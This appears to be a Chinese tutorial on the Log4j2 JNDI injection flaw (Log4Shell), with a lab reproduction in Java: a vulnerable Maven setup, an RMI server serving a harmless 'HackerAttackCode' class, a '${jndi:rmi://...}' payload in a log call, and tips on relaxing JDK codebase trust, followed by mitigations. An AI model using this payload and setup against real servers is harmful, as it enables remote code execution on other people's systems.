Log4j2史诗级漏洞导致JNDI注入问题探析
背景
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中，比如在用户登录的时候打印一些异常信息，如xxx密码输入错误超过5次，账号被锁定；xxx账号已被锁定；xxx账号频繁异地登录。
前不久，Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开，由于 Log4j 的广泛使用，该漏洞一旦被攻击者利用会造成严重危害。
据悉，Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。受影响应用包括但不限于：Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。
因该组件使用极为广泛，利用门槛很低，危害极大，网络安全专家建议所有用户尽快升级到安全版本>=2.15.0。
漏洞细节
srping-boot-strater-log4j2此次漏洞的出现，正是由用于 Log4j 2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。
JNDI和RMI的关系
JNDI可以远程下载class文件来构建对象
漏洞复现
黑客在自己的客户端启动一个带有恶意代码的rmi服务，通过服务端的log4j的漏洞，向服务端的jndi context lookup的时候连接自己的rmi服务器，服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类，所以在类中的构造方法或者静态代码块中写入逻辑，就会在服务端（jndi rmi过程中的客户端）实例化的时候执行到这段逻辑，导致jndi注入。
代码
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lingyejun</groupId>
<artifactId>log4j2-safe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
</project>package com.lingyejun.rmi;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class HackerAttackCode implements ObjectFactory {
public HackerAttackCode() {
}
static {
System.out.println("黑客正在攻击你的服务器");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}package com.lingyejun.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
// new Reference（）中的第三个参数表示HackerAttackCode classes 文件的路径， 可以是ftp，http协议，本机直接写null
Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
System.out.println("RMI服务端已启动");
} catch (Exception e) {
e.printStackTrace();
}
}
}package com.lingyejun;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2SafeMain {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
String userName = "lingyejun";
LOGGER.info("user {} log in success", userName);
userName = "${java:runtime}";
LOGGER.info("user {} log in success", userName);
// Java的高版本默认是不会执行远程类的，只有低于8u121会被rmi注入，低于8u191的版本才会被ldap注入。
/*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/
userName = "${jndi:rmi://192.168.1.103:1099/aa}";
LOGGER.info("user {} log in success", userName);
}
}编写测试代码时候需注意以下几点
- 视频中的new Reference（）， 中的第三个参数表示EvilObj classes 文件的路径， 可以是ftp，http协议，本机直接写null。
- 在测试类中由于JDK 版本原因可能会报 The object factory is untrusted 类似错误， 因为Java的高版本默认是不会执行远程类的，只有低于8u121会被rmi注入，低于8u191的版本才会被ldap注入。在Log4jTest类中添加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");
- 翎野君的jdk版本是1.8.0_144，HackerAttackCode需要实现javax.naming.spi.ObjectFactory接口才能复现。
修复
- 临时应急缓解措施
（1）修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
（2）修改配置 log4j2.formatMsgNoLookups=True
（3）将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
2. 修复方案检查所有使用了 Log4j 组件的系统，将log4j组件版本升级至2.15.0以上。
总之不要相信客户端的输入信息，永远相信来自用户的输入是危险的。